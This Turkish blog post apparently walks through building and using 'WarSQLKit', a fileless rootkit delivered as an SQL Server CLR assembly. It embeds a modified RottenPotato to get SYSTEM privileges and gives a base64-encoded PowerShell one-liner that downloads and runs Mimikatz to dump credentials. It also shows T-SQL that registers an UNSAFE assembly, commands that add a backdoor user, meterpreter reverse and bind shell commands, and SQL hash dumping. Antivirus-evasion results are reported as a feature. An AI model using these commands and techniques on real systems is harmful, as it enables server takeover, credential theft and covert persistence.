RottenPotato kullanarak Privilege Escalation (Hak ve Yetki Yükseltme) işlemleri gerçekleştirebiliriz. Ancak Rottenpotato, varsayılanda Meterpreter oturumu almamızı ve bu Meterpreter oturumundan incognito aracı ile hak ve yetki yükseltmemizi istiyor. Bunun böyle oluşu pek hoşuma gitmiyordu, nitekim Meterpreter oturumu yerine oluşturduğum stored procedure’e girilen işletim sistemi komutlarının “SYSTEM” hak ve yetkileri ile çalışmasını istiyordum. Bunun için kullanılan Rottenpotato uygulamasının biraz modifiye edilmesi gerekiyordu. Stajyer arkadaşlarımızdan Berat Özbay’a, staj konusu olarak verdiğim rottenportato’nun modifiye edilmesi konusu harika bir zamanlamayla işimizi çözdü. Tam ihtiyacımın olduğu anda, rottenpotato’nun modifiye halini bana iletti. Rottenpotato bu modifikasyondan sonra “Kumpir” ismini aldı.

Kumpir uygulamasını bir byte stream olarak Rootkit’imize (WarSQLKit) gömmem gerekiyordu. sp_cmdExec strored procedure’e “/RunSytemPriv” parametresi ile herhangi bir komut iletildiğinde, kumpir.exe’nin byte stream’ini dışarı exe halinde atacak ve gelen komut dizisi kumpir.exe üzerinden sisteme iletilecek ve komut çıktısı geri döndürülecektir. Şimdi kumpir’in byte stream’ini nasıl aktardığıma bakalım.

24_kumpir

Kumpir.exe için bir class oluşturdum. KumpirBytes() metodunda hex adında bir string tanımladım. Bu stringe kumpir.exe’nin byte stream’ini tanımladım. Daha sonra bu byte stream’i dışarı exe olarak export etmem gerekiyor.

25_kumpir_export

File.WriteAllBytes ile Kumpir.exe’yi export ettim. Fakat şöyle bir sorunum var, kumpir.exe’nin (Rottenpotato) 3 adet bağımlılık dosyası var. Bunlar “Microsoft.VisualStudio.OLE.Interop.dll”, “NHttp.dll” ve “SharpCifs.dll” dosyalarıdır. Bu dosyaların her birini ayrı ayrı byte stream olarak okuyup, yazdırmak ve her komutta dışarı export edip sonra silmek çok uzun iş olacaktır. ILMerge ile bu bağımlılıkları kumpir.exe ile merge ettik. Fakat sonuç yine hüsran. Çünkü Kumpir.exe’nin boyutu 727 KB’ye ulaştı. 727 KB’nin byte stream’i de oldukça büyük olacaktır. Ayrıca WarSQLKit.dll (Rootkitimiz) dosyamızın boyutunda inanılmaz bir büyümeye sebep olmaktadır.

Kumpir.exe’yi mpress ile sıkıştırıyoruz. 727 KB’lik kumpir.exe dosyamız 283 KB’ye düştü. 283 KB’lik kumpir.exe’yi byte stream olarak hex değişkenimizin içerisine dolduruyoruz.  Ardından “File.WriteAllBytes” ile Kumpir.exe’mizi C:\ProgramData dizinine yazdırıyoruz. Normal şartlar altında 727 KB’lik tamamen FUD durumdadır. Herhangi bir antivirüse yakalanmıyor. Ancak compress ettiğimiz ve 283 KB’lik boyuta sahip olan Kumpir.exe dosyamız ise sadece Avira’ya yakalanmaktadır. Mpress’te kullanılan sıkıştırma tekniğinden dolayı Avira tarafından zararlı olarak görünüyor.

No Distribute: https://nodistribute.com/result/1jYc9lBu0pqFPg53nm4

11. Mimikatz ile Oturum Bilgilerini Elde Etme

Tüm bu adımları sızma testlerinde uygulayacağız. Ancak temel amacımız, Domain Controller’ı ele geçirmek olacağından dolayı “Mimikatz” ile Clear-Text parolaları ya da en kötü ihtimal ile NTLM anahtarlarını ele geçirmemiz gerekiyor. Bu amaçla RunMimikatz() adında bir metot oluşturdum. Uygulamamız gidip Powersploit’in GitHub adresinden Mimikatz’in Powershell modülünü çekip çalıştıracak ve sonuçları bize döndürecektir. İşlem için aşağıdaki kodu kullanabiliriz.

Powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m

Buraya kadar her şey güzel. Lakin bir problem var, bu powershell kodu yakalanabilir. Bu yüzden base64’e çevirerek çalıştırmamız gerekiyor.

powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

Powershell kodumuzun base64 hali yukarıdaki gibi olacaktır. Bu kısımdan sonra maalesef bambaşka problemler ile karşılaşıyoruz. MSSQL üzerinden çalıştırdığımız powershell kodu maalesef ki bize output vermiyor. Output alamamamızın sebebi, nvarchar’ın 4000 karakterden fazlasını bize döndürememesidir. Mimikatz output’u 4000 karakterden çok daha büyük olacaktır. Bir kullanıcının oturum açtığı Windows Server 2016 üzerine kurulu olan MS-SQL Server 2016 üzerinden işletim sisteminde komutu çalıştırdığımda mimikatz, yaklaşık olarak 22000+ karakterlik bir çıktı veriyordu. Dolayısı ile 4000 karakterden büyük çıktı alamadığım için WarSQLKit.dll hata mesajı döndürmektedir. Sorunu aşmak için Mimikatz çıktısını geçici bir dizine “mimi.log” adı ile kaydettirmeye karar verdim.

RunMimikatz("cmd.exe", "/c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA== > C:\\\\ProgramData\\\\mimi.log 2>&1");

RunMimikatz metodunun sonuna “> C:\\\\ProgramData\\\\mimi.log 2>&1” değerini girerek, çıktının C:\ProgramData dizinine mimi.log dosya adı ile kaydedilmesini sağladım. Dikkat etmemiz gereken nokta, her dizin için 4 tane backslash kullandım. C# string’i değeri için 2 backslash 1 backslash manasına geliyor. Kodumuz powershell’e iletildiğinde powershell’de kalan 2 backslash değerini 1 backslash olarak değerlendiriyor. Bu sebeple 4 adet backslash değerimiz, powershell’e iletildiğinde 1 adet backslash manasına geliyor. Bu sorunu bulup, çözmek aşağı yukarı 2-3 saatimi aldı diyebilirim. Bu sebeple siz de uğraşmayın diye aktarmak istedim.

Yukarıdaki kod dizisi ile Powersploit’in Mimikatz modülünü, powershell üzerinden çağırarak çalıştırıyoruz ve C:\ProgramData dizinine mimi.log olarak kaydediyoruz. Kaydettiğimiz bu log dosyasını “type C:\ProgramData\mimi.log” komutu ile okumayı düşünebiliriz. Type komutu ile de maalesef okuyamayacağız, çünkü mimi.log dosyamız yukarıda bahsettiğim gibi 4000 karakterden büyük. Nasıl okuruz diye düşünürken, şöyle bir şekilde sorunu çözebileceğimi gördüm. Kaydettiğimiz mimi.log dosyasını DLL’imiz aracılığı ile geçici bir tabloya yazdırabiliriz. Böylece select komutu ile tablodaki veriyi yani mimikatz loglarını getirebileceğiz. Çıkan verileri geçici bir tabloya yazdırmak için bir sqlCommand oluşturmamız gerekiyor.

26_insert_mimi_log

GetMimiLog() adında bir metot oluşturdum. Bu metoda 2 adet SQL komutu ekledim. Birinci Sql Command’ımıza “IF OBJECT_ID(‘WarSQLKitTemp’)IS NOT NULL DROP TABLE WarSQLKitTemp” + Environment.NewLine + “CREATE TABLE dbo.WarSQLKitTemp(mimiLog text);” SQL cümlesini giriyoruz. Bu cümle ile eğer “WarSQLKitTemp” adında bir tablo varsa ve içi boş değilse tabloyu kaldırmasını istiyorum. Ardından WarSQLKitTemp adında bir tablo ve mimiLog adında text tipinde bir tablo oluşturuyoruz.

Daha sonra mimiLogStr adında string türünde bir değişken oluşturup, mimi.log dosyasındaki verileri okuyarak bu değişkene atıyorum. “insert into WarSQLKitTemp(mimiLog) values(@mimiLog)” parametresi ile de WarSQLKitTemp tablosuna mimi.log dosyasından gelen veriyi yazdırıyoruz.

Dikkatinizi çekmek istediğim bir diğer yer şurasıdır. “SqlConnection connection = new SqlConnection(“context connection=true”)” SqlConnection için ConnectionString olarak sadece “context connection=true” değerini girdik. Ayrıca SqlConnection bilgileri tanımlamadık. Çünkü DLL’imiz zaten SQL Server’da çalışıyor, bir daha Data Source, User ID ve Password gibi değerler set etmemiz gerekmiyor.

Mimikatz çıktımız olan mimi.log dosyasını da böylece tabloya yazdırmış oluyoruz. Bu komutları çalıştırdıktan sonra SQL Server’da “select * from WarSQLKitTemp” komutunu çalıştırarak, mimikatz çıktılarına ulaşabiliriz.

12. File Downloader

Klasik bir Rootkit’in olmazsa olmazlarından biridir File Downloader. WarSQLKit’e de bir File Downloader yerleştirmem gerektiğini düşünerek, FileDownloader adında bir sınıf oluşturdum.

27_file_downloader

 Oluşturduğum sınıfa StartDownload(int timeout) adında bir metot tanımladım. Bu metot ile gelen download isteği için WebClient oluşturdum. Rootkit’e gelen download isteği için “url, kaydedilecek dizin, zaman aşımı” şeklinde bir tanımlama ayarladım. Böylece verilen adresteki dosyayı .Net Framework’ün WebClient objesi ile belirttiğimiz dizine indirebileceğiz.

13. WarSQLKit (MSSQL Fileless Rootkit) Kullanım Rehberi

WarSQLKit.dll’i SQL Server’a tanımlamak için Bölüm 5’te yer alan “Assemblies – Stored Procedures – TRUSTWORTHY  İlişkisi” başlıklı yazıya göz atmanız gerekmektedir. Ben 5’inci bölümün “DLL Dosyasını Bir Dizinden Çağırma” başlıklı alt bölümünde yazılanlara göre devam edeceğim. SQL Server’a Management Studio aracılığı ile bağlanarak aşağıdaki kodları çalıştıralım.

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE master SET TRUSTWORTHY ON;
IF (OBJECT_ID('sp_cmdExec') IS NOT NULL)
DROP PROCEDURE sp_cmdExec
GO
IF EXISTS (SELECT * FROM sys.assemblies asmb WHERE asmb.name = N'sp_cmdExec')
DROP ASSEMBLY [sp_cmdExec]
GO
CREATE ASSEMBLY sp_cmdExec
FROM 'C:\ProgramData\WarSQLKit.dll'
WITH PERMISSION_SET = UNSAFE 
GO
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec
GO

Bu SQL cümlesi ile sp_cmdExec adında bir Assemblies ve sp_cmdExec adında bir stored procedure oluşturmuş olduk.

28_warsqlkit_sp_help

”EXEC sp_cmdExec ‘sp_help’;” komutunu çalıştırarak, WarSQLKit’in kullanımına bakabiliriz. Sırası ile komutlarımıza bakalım.

“EXEC sp_cmdExec ‘whoami’;” işletim sisteminde “whoami” komutu çalıştırarak, SQL Server’ın hangi hak ve yetkilerde çalıştığını bize gösterecektir. Whoami komutu yerine herhangi bir komut çalıştırabilirsiniz. Komut çıktımız aşağıdaki gibi olacaktır.

29_whoami

“EXEC sp_cmdExec ‘whoami /RunSystemPriv’;” Herhangi bir işletim sistemi komutunun sonuna eğer “/RunSystemPriv” parametresini eklersek, arka tarafta Kumpir.exe dosyamız oluşturulacak ve hak – yetkimiz yükseltilerek komut çalıştırılacaktır. Aşağıdaki ekran görüntüsünde örneğini görebilirsiniz.

30_whoami_system_priv

Görüleceği üzere whoami komutuna /RunSystemPriv parametresi verdiğimizde, kumpir.exe oluşturuldu ve “NT AUTHORITY\SYSTEM” kullanıcısının hakları ile komutu çalıştırdık. Windows komutları ile ilgili bir örnek daha göstermek istiyorum.

“EXEC sp_cmdExec ‘”net user sKyWiPer P@ssw0rd1 /add” /RunSystemPriv’;” net user komutu ile sKyWiPer adında, P@ssw0rd1 parolasına sahip bir kullanıcı oluşturmak için bu komutu kullanıyorum. Klasik Windows komutumu çift tırnak arasına yazıp, sonuna /RunSystemPriv parametresini girdim. Böylece kumpir.exe çalışacak ve çift tırnak arasına yazdığım komutu işletim sisteminde çalıştıracaktır.

31_net_user_add

Önemli Not: WarSQLKit başına “sp_” olmayan tüm komutları işletim sistemi komutu olarak değerlendirerek, işletim sistemi komutu çalıştırmaya çalışacaktır. Benim Rootkit içerisine tanımladığım tüm özel parametrelerin başında “sp_” mevcuttur.

“EXEC sp_cmdExec ‘powershell Get-Acl /RunSystemPS’;” WarSQLKit üzerinden herhangi bir powershell kodu çalıştırabilirsiniz. Çalıştırdığınız powershell kodunun sonuna “/RunSystemPS” komutunu eklediğinizde, powershell komutunuz SYSTEM kullanıcısının hak ve yetkileri ile çalıştırılacaktır. Aşağıdaki örnekte Get-Acl poweshell komutunun çıktısını görebilirsiniz.

32_powershell

“EXEC sp_cmdExec ‘sp_meterpreter_reverse_tcp LHOST LPORT GetSystem’;” WarSQLKit üzerinden meterpreter payload’larını çalıştırabildiğimizden ve 4 adet meterpreter payload’ına şimdilik destek verdiğimden bahsetmiştim. “sp_meterpreter_reverse_tcp” bize klasik “windows/meterpreter/reverse_tcp” payload’unu geri döndürür.  Bu Payload, parametre olarak bizden LHOST ve LPORT değerlerini istemektedir. Kali makinamızda “exploit/multi/handler” aracılığı ile herhangi bir portumuzu listen moda aldıktan sonra WarSQLKit üzerinden buraya reverse connection gerçekleştirebiliriz. Komutumuzun sonundaki “GetSystem” parametresi ise payload’umuzun SYSTEM hak ve yetkileri ile bize reverse connection yapmasını sağlar. Meterpreter payload’umuz Kumpir.exe aracılığı ile çalışacak ve bize “NT AUTHORITY\SYSTEM” hak ve yetkileri ile bağlantı sağlayacaktır. Dilerseniz, GetSystem parametresini silebilirsiniz. GetSystem parametresi olmadığında, SQL Server’ın çalışmış olduğu hak ve yetkilerde reverse connection elde edeceğiz. Örnek kodumuzun düzenlenmiş hali şöyle olacaktır. “EXEC sp_cmdExec ‘sp_meterpreter_reverse_tcp 192.168.139.129 4444 GetSystem’;”

Dip Not: Kali’de “exploit/multi/handler”a payload’u set ettikten sonra, WarSQLKit’de bulunan tüm meterpreter payload’ları için “set EXITFUNC none” değerini girmeniz gerekiyor. Bu değeri set etmezseniz, bağlantı alamayacaksınız.

“EXEC sp_cmdExec ‘sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem’;” Bu komut ile x64 mimaride bir reverse_tcp payload’unu sunucuda çalıştırabilirsiniz.

“EXEC sp_cmdExec ‘sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem’;” Bu komut ile RC4 türünde bir meterpreter payload’unu SQL Server’da çalıştırabilirsiniz.

Dip Not: “windows/meterpreter/reverse_tcp_rc4” payload’u için “set RC4PASSWORD warsql” parametresini set etmeniz gerekiyor. RC4 için parola varsayılanda “warsql” olarak tanımlandı. Maalesef şimdilik parolayı değiştiremiyoruz.

“EXEC sp_cmdExec ‘sp_meterpreter_bind_tcp LPORT GetSystem’;” Bu komut ile SQL Server’da meterpreter bind_tcp payload’u çalıştırmış olursunuz. LPORT olarak SQL Server’da açmak istediğiniz portu girmeniz yeterli olacaktır.

“EXEC sp_cmdExec ‘sp_Mimikatz’;” sp_Mimikatz komutu ile sunucuda mimikatz’in powershell halini çalıştırabilirsiniz. Bölüm 11’de oldukça detaylı bir şekilde bu konuyu anlattım. sp_Mimikatz komutunu çalıştırdıktan sonra ortalama 30-60 saniye arasında mimikatz logları mimi.log dosyasına kaydedilecektir. Çalıştırdığımız komut aşağıdaki gibi olacaktır.

33_sp_mimikatz

Mimikatz çıktımız kaydedildikten sonra “select * from WarSQLKitTemp” komutunu çalıştırmamız gerekiyor. Mimikatz çıktılarımız aşağıdaki gibi olacaktır.

34_mimikatz_log

Mimikatz loglarımızı herhangi bir not uygulamasına yapıştırdığımızda, düzgün bir formatta görüntüleyebileceğiz.

“EXEC sp_cmdExec ‘sp_downloadFile URL Location\file.filetype 300’;” sp_downloadFile komutuna URL, kaydedilecek dizin ve zaman aşımı değerlerini vererek, herhangi bir dosyanın SQL Server’a indirilmesini sağlayabiliriz. Komutumuzun örnek çıktısı aşağıdaki gibi olacaktır.

35_sp_download_file

“EXEC sp_cmdExec ‘sp_getSqlHash’;” sp_getSqlHash komutu ile MS-SQL kullanıcılarının hash’lerini alabiliriz. Komut çıktımız aşağıdaki gibi olacaktır.

36_get_sql_hash

“EXEC sp_cmdExec ‘sp_getProduct’;” Bu komut ile SQL Server’ın üzerinde koştuğu işletim sistemini görüntüleyebiliriz.

37_get_product

“EXEC sp_cmdExec ‘sp_getDatabases’;” bu komut ile SQL Server’da bulunan veritabanlarının isimlerini çekebilirsiniz.

Dip Not: WarSQLKit.dll Rootkit’imiz sadece aşağıdaki sistemlerde test edilmiş ve başarılı olduğu görülmüştür. Bunun dışında herhangi bir sistemde denemedim. Bu sebeple daha alt sistemlerde deneyip hata alırsanız, ekran görüntüsü ile birlikte hatayı gönderirseniz, düzenleme yayınlayabilirim.

WarSQLi v3’ü, WarSQLKit uyumlu hali ile yeniden derleyerek yakın zamanda yayınlayacağım.

İşletim SistemiSQL Server VersiyonuÇalışma Durumu
Windows Server 2016SQL Server 2016Sorunsuz Çalışıyor
Windows Server 2012 R2SQL Server 2014Sorunsuz Çalışıyor
Windows Server 2012SQL Server 2012Sorunsuz Çalışıyor
Windows Server 2008SQL Server 2008Yetki yükseltme sorunları var. Bu sürüm için Incognito ile yeni bir versiyon derleyeceğim.

a. WarSQLKitMinimal.dll (MSSQL Fileless Rootkit) Kullanım Rehberi

Bu bölümde WarSQLKitMinimal versiyonundan bahsedeceğim. WarSQLKitMinimal sadece “EXEC sp_cmdExec ‘cmd’;”  parametresini çalıştıran versiyondur. Bu versiyonda “sp_” ile başlayan herhangi bir komutu işleme özelliği bulunmuyor. 6 KB büyüklüğündeki bu DLL sayesinde, SQL Server üzerinden işletim sistemine komut gönderebilirsiniz. Bu sebeple sadece işletim sistemi komutu çalıştırabilmektedir.

WarSQLKit.dll dosyasının tarama sonuçları aşağıdaki gibidir.

Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/pfk61amqt4

No Distribute (0/34): https://nodistribute.com/result/3yf58I7hMdZAP6DB

Virus Total (0/62): https://www.virustotal.com/#/file/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309/detection

WarSQLKit_Compress.dll (Rootkit’in sıkıştırılmış hali) dosyasının tarama sonuçları aşağıdaki gibidir.

Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/8s08ge3o0g

No Distribute (0/34): https://nodistribute.com/result/tbv1NjPLKf5ErXMxUOg7

Virus Total (1/62): https://www.virustotal.com/#/file/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe/detection

Kaynaklar:

https://technet.microsoft.com/en-US/library/ms187861(v=sql.110).aspx

https://autohotkey.com/mpress/mpress_web.htm

https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration

https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling

https://docs.microsoft.com/tr-tr/sql/t-sql/statements/alter-assembly-transact-sql

https://msdn.microsoft.com/library/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33

https://stackoverflow.com/questions/2055788/sql-server-2005-create-assembly-from-stream-with-c-sharp

Related Posts
Write a comment